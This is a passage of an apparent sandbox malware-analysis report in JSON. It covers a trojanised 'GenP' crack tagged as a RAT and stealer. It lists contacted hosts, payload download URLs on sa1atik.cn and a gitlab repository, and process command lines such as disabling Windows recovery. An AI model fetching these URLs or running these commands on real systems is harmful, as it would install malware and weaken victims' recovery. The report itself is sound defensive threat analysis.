tlab.com"},{"edge_kind":"resolves_to","from_key":"Domain:gitlab.com","to_key":"Ip:172.65.251.78"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/sa1at/"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/webrat1/importantfiles/-/raw/main/7z.dll"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/users/sign_in"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/webrat1/importantfiles/-/raw/main/7z.exe"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/webrat1/importantfiles/-/raw/main/MSTSCLib.dll"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/webrat1/importantfiles/-/raw/main/ffmpeg.exe"},{"edge_kind":"contacted_url","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"Url:/route/1/mainnet/toncenter-api-v2/runGetMethod"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","edges":[{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:d155ed8351e8d495eea08d3b38af849d40dc2940fb9da32eb3ab7dd5eceded4f"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:e3d7e9ac231d261f4025a330179563ce0d86b573ce846e3104dc4dc3e1754f86"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:3eed84e823236db397e5b1d87e3106655d90318ceb97cbf4b653366e2ba43f20"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:5fd36031ae1fe5c7f5682a7d116c3acfbf314a9fe55909878f492f84d1f6ac92"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":10,"spawned_processes_count":10,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":63,"imported_dlls_count":169,"dropped_files_count":0,"extracted_files_count":11,"files_written_count":41,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":5,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":6,"contacted_urls_count":8,"http_requests_count":8},"behavior_tags":["rat","rozena","aviator","stealer","salatstealer","informationstealer","banker","disableuac","reverseshell","kryptik","criminal","banload","malicious","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ac69f7c0d74e5869207a962","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Marsilia","contacted_countries":["CHE","USA"],"submit_name":"Genp v4.2.1.exe","analysis_start_time":"2026-10-07T19:37:46+00:00","indicators_count":{"informative":267,"suspicious":76,"malicious":17},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"1.1.1.1","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"address":"104.16.249.249","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"address":"185.103.164.74","port":443,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"address":"151.101.66.132","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"address":"172.65.251.78","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"dns_resolutions":[{"domain":"ton.access.orbs.network","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"domain":"cloudflare-dns.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"domain":"dns.google","sources":[{"report_type":"qsp","report_id":""}]},{"domain":"sa1atik.cn","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"domain":"tonapi.io","sources":[{"report_type":"qsp","report_id":""}]},{"domain":"gitlab.com","address":"172.65.251.78","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"http_requests":[{"host":"sa1atik.cn","host_ip":"185.103.164.74:443","url":"/sa1at/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 88\nContent-Type: application/octet-stream\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/7z.dll","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1\nHost: gitlab.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/users/sign_in","method":"GET","response_code":"403","response_phrase":"Forbidden","header":"GET /users/sign_in HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/7z.exe","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/MSTSCLib.dll","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"host":"gitlab.com","host_ip":"172.65.251.78:443","url":"/webrat1/importantfiles/-/raw/main/ffmpeg.exe","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"host":"ton.access.orbs.network","host_ip":"151.101.66.132:443","url":"/route/1/mainnet/toncenter-api-v2/runGetMethod","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2\nHost: ton.access.orbs.network\nUser-Agent: Go-http-client/2.0\nContent-Type: application/json\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"embedded_domains":[{"value":"ton.access.orbs.network","sources":[{"report_type":"qsp","report_id":""}]},{"value":"cloudflare-dns.com","sources":[{"report_type":"qsp","report_id":""}]},{"value":"dns.google","sources":[{"report_type":"qsp","report_id":""}]},{"value":"sa1atik.cn","sources":[{"report_type":"qsp","report_id":""}]},{"value":"tonapi.io","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}],"processes":[{"pid":6860,"ppid":0,"name":"Genpv4.2.1.exe","command_line":"","sha256":"5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","normalized_path":"C:\\Genpv4.2.1.exe","uid":"00000000-00006860","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKUlEQVR4Xu2WS08TYRSGu+qdYql/QZfEvyVqVYq9ACJewPsFF01YmfR3iFoZ5Y5a66WKmvgzujmec775ZoZz+NJZYEoCkzxp08X7vO+ZTROJk+fYP41aBRq1qSFRgYT+8fDxPO/AT4IL9Pv9oXD0CrRaLWg2mwx9t7+fe/EXTj//g/yG0hLy7BeyB6WnxE8Ye4I8/gFjj4geFB/2YHx5b2CuKuCitETCUMrCQNoLpMUH36B4P0TmSOIXOHDldxQSvvDeVzhF3P3CjC52VY5EFXCdyi41Kx3SRZQufDbcIToDc1UBF+FprdBKuxEhcruDfILCLeTmR5UjiV0gXNk1LHQjwg4LR1mKzH+AkRvErsqRqAKuU8nTFiIrmUCKzO3CyPUdZlCuKuAiulRJSTi3w+Rnt322ID+zpXIksQsEQqQQSO3SbZZZctObkGsg9Q2VI1EFXKeKLs2TkFZaKQs3DCjN1dYhW11jpFCiCrigpfas+Wm70hey1Aiz1feQvYZMvWNkjiR2AVq5bymttFIS+mQqHmQmiVVG5khUAdcryNWNMFhqpbgyUyF86dVVSF95a7jcVkKJKuDCSjP+aQMhS63QSNPlN5C6RLxWOZL4BUjsS9O0MpC2IYXCdLnNQubiK0hdQCZWVI5EFXC9Aj6tkLKYhVa6AskJ4iUkzxukUKIKuDg7v25WlvevTLI0FEY5M+OpHEnsAv+Lo1GgXh3e3/J6FQucPMf++QdaW1M4YcDGqAAAAABJRU5ErkJggg=="},{"pid":7688,"ppid":6860,"name":"GenP-v4.2.1.exe","command_line":"","sha256":"0b7f8d926cef640aea5c0d28eb89d5f64c334ebb1c19b70abc4d1e74b04e7c4c","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\GenP-v4.2.1.exe","parent_uid":"00000000-00006860","uid":"00000000-00007688"},{"pid":788,"ppid":7688,"name":"cmd.exe","command_line":"/c certutil -store Root mitmproxy >nul 2>&1","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00007688","uid":"00000000-00000788"},{"pid":5304,"ppid":788,"name":"certutil.exe","command_line":"certutil -store Root mitmproxy","sha256":"a86db7bb74499c976fb00a902b905e3fea2982405344cb0f4966192f50e4dbb5","normalized_path":"%WINDIR%\\system32\\certutil.exe","parent_uid":"00000000-00000788","uid":"00000000-00005304"},{"pid":1656,"ppid":6860,"name":"svchost.exe","command_line":"","sha256":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\svchost.exe","parent_uid":"00000000-00006860","uid":"00000000-00001656"},{"pid":5880,"ppid":1656,"name":"OSPPSVC.EXE","command_line":"","sha256":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547","normalized_path":"%LOCALAPPDATA%\\Programs\\OSPPSVC.EXE","parent_uid":"00000000-00001656","uid":"00000000-00005880"},{"pid":6656,"ppid":5880,"name":"powershell.exe","command_line":"","sha256":"b7327b511cbadc9c471f5aa7438e47ffec3430145c8d23e0e3256183295ca974","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005880","uid":"00000000-00006656"},{"pid":2072,"ppid":6656,"name":"ReAgentc.exe","command_line":"/disable","sha256":"de85028eb2b50368a55d856d97e5400171b4575d86dd12c05f076196fe22c495","normalized_path":"%WINDIR%\\SysWOW64\\ReAgentc.exe","parent_uid":"00000000-00006656","uid":"00000000-00002072"},{"pid":5740,"ppid":5880,"name":"OSPPSVC.EXE","command_line":"-","sha256":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\OSPPSVC.EXE","parent_uid":"00000000-00005880","uid":"00000000-00005740"},{"pid":7652,"ppid":5880,"name":"OSPPSVC.EXE","command_line":"-","sha256":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\OSPPSVC.EXE","parent_uid":"00000000-00005880","uid":"00000000-00007652"}],"all_imported_dlls":["mi.dll","winhttp.dll","diasymreader.dll","ServicingCommon.dll","wbemdisp.dll","fastprox.dll","rpcrt4.dll","gdi32full.dll","TextShaping.dll","Microsoft.Management.Infrastructure.Native.dll","System.Configuration.Install.dll","PB0cnf68.dll","clr.dll","CoreMessaging.dll","ntdsapi.dll","winnsi.dll","wintrust.dll","System.Configuration.ni.dll","srvcli.dll","shlwapi.dll","System.ni.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","wdscore.dll","rsaenh.dll","ncrypt.dll","mswsock.dll","wldp.dll","System.Data.dll","System.Windows.Forms.dll","WinTypes.dll","uxtheme.dll","sxs.dll","certcli.dll","dpapi.dll","System.Management.dll","System.Transactions.dll","rtutils.dll","wininet.dll","msasn1.dll","pwrshsip.dll","virtdisk.dll","OnDemandConnRouteHelper.dll","cryptsp.dll","mscorlib.ni.dll","Microsoft.PowerShell.ConsoleHost.dll","urlmon.dll","wow64.dll","wow64win.dll","propsys.dll","fveapi.dll","shell32.dll","wsock32.dll","Microsoft.AppV.AppVClientPowerShell.dll","dbgcore.dll","msvcp140.dll","scrrun.dll","Wldap32.dll","wow64base.dll","amsi.dll","System.Core.ni.dll","MpClient.dll","prxyqry.dll","winmm.dll","wbemcomn.dll","RstrtMgr.dll","Microsoft.PowerShell.Commands.Management.dll","rasman.dll","SHCore.dll","netapi32.dll","powrprof.dll","dhcpcsvc.dll","apphelp.dll","vcruntime140_1_clr0400.dll","profapi.dll","dhcpcsvc6.dll","System.Xml.ni.dll","System.Numerics.dll","System.ServiceProcess.dll","ucrtbase.dll","vcruntime140.dll","sechost.dll","iertutil.dll","schannel.dll","dnsapi.dll","clrjit.dll","kernel32.dll","win32u.dll","combase.dll","ucrtbase_clr0400.dll","bcryptprimitives.dll","secur32.dll","wshext.dll","ReAgent.dll","wbemprox.dll","comdlg32.dll","cabinet.dll","rasadhlp.dll","wmidcom.dll","wmiutils.dll","mscoree.dll","advapi32.dll","mpr.dll","nsi.dll","VxSSL32.dll","System.Management.Automation.dll","miutils.dll","imm32.dll","vcruntime140_clr0400.dll","crypt32.dll","logoncli.dll","gpapi.dll","bcd.dll","setupapi.dll","netutils.dll","taskschd.dll","Microsoft.Management.Infrastructure.ni.dll","ntasn1.dll","wow64cpu.dll","atl.dll","Microsoft.PowerShell.Commands.Utility.dll","MpOAV.dll","msisip.dll","rasapi32.dll","ole32.dll","cryptui.dll","umpdc.dll","winsta.dll","cryptbase.dll","normaliz.dll","ws2_32.dll","wtsapi32.dll","KernelBase.dll","user32.dll","dsrole.dll","wow64con.dll","Microsoft.AppV.AppvClientComConsumer.dll","userenv.dll","msctf.dll","oleaut32.dll","mscoreei.dll","IPHLPAPI.DLL","System.DirectoryServices.dll","Microsoft.PowerShell.Security.dll","ncryptsslp.dll","msvcp_win.dll","kernel.appcore.dll","version.dll","TextInputFramework.dll","CoreUIComponents.dll","certca.dll","samcli.dll","ntmarta.dll","dbghelp.dll","msvcrt.dll","comctl32.dll","bcrypt.dll","Microsoft.BitLocker.Structures.dll","wbemsvc.dll","ntdll.dll","VxSSL64.dll","fltLib.dll","gdi32.dll","vcruntime140_1.dll","sspicli.dll","cryptnet.dll","psapi.dll","windows.storage.dll","clbcatq.dll","FWPUCLNT.DLL"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"GenP-v4.2.1.exe","sha256":"d155ed8351e8d495eea08d3b38af849d40dc2940fb9da32eb3ab7dd5eceded4f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"OSPPSVC.EXE","sha256":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"dllhost.exe","sha256":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"__PSScriptPolicyTest_g1ysq5aj.x5f.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"__PSScriptPolicyTest_jijndlqk.guu.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"svchost.exe","sha256":"8d5a0950594831454aa0125903c4d6ca6df7f8d2fc50d957ed5a59f6947f6547","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"config.ini","sha256":"e3d7e9ac231d261f4025a330179563ce0d86b573ce846e3104dc4dc3e1754f86","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"ModuleAnalysisCache","sha256":"3eed84e823236db397e5b1d87e3106655d90318ceb97cbf4b653366e2ba43f20","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"StartupProfileData-Interactive","sha256":"5fd36031ae1fe5c7f5682a7d116c3acfbf314a9fe55909878f492f84d1f6ac92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"__PSScriptPolicyTest_3yjnbpvk.wkh.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"__PSScriptPolicyTest_uwd1u1ok.5vv.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"files_written":[{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\GenP-v4.2.1.exe","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\svchost.exe","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\c43862135138\\config.ini","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"PIPE\\lsarpc","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\e1832c1c-cd9a-e3e0-2f18-a6a072241ccd","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%LOCALAPPDATA%\\Programs\\e1832c1c-cd9a-e3e0-2f18-a6a072241ccd","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%LOCALAPPDATA%\\Programs\\OSPPSVC.EXE","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\OSPPSVC.EXE","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\OSPPSVC.EXE","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_g1ysq5aj.x5f.ps1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_3yjnbpvk.wkh.psm1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_jijndlqk.guu.ps1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_uwd1u1ok.5vv.psm1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\7z.dll","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\7z.exe","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\MSTSCLib.dll","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\AxMSTSCLib.dll","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%TEMP%\\ffmpeg.exe","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-Interactive","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"Volume{44294f7c-6083-41c6-8176-3c202d755616}\\EFI\\Microsoft\\Boot\\BCD","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"Volume{ffa98e4b-99db-4018-b974-2dffbcbaf986}\\EFI\\Microsoft\\Boot\\BCD","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"Volume{60982e44-40a2-4367-9bc3-ca978a87efc7}\\EFI\\Microsoft\\Boot\\BCD","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"GLOBALROOT\\Device\\HarddiskVolume4\\Recovery\\WindowsRE\\Winre.wim","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"GLOBALROOT\\Device\\HarddiskVolume4\\Recovery\\WindowsRE\\boot.sdi","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"GLOBALROOT\\device\\harddisk1\\partition3","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"BitLocker\\Volume\\3\\SEI","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"BitLocker\\Volume\\3\\HEI","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"GLOBALROOT\\device\\harddisk1\\partition4","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"BitLocker\\Volume\\4\\SEI","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"BitLocker\\Volume\\4\\HEI","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"GLOBALROOT\\device\\harddisk1\\partition4\\Recovery\\WindowsRE\\Winre.wim","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"path":"GLOBALROOT\\device\\harddisk1\\partition4\\Recovery\\WindowsRE\\boot.sdi","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7688:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7688:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7688:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:7688:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:7688:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:7688:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"Local\\SM0:788:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5304:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"name":"SM0:5304:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0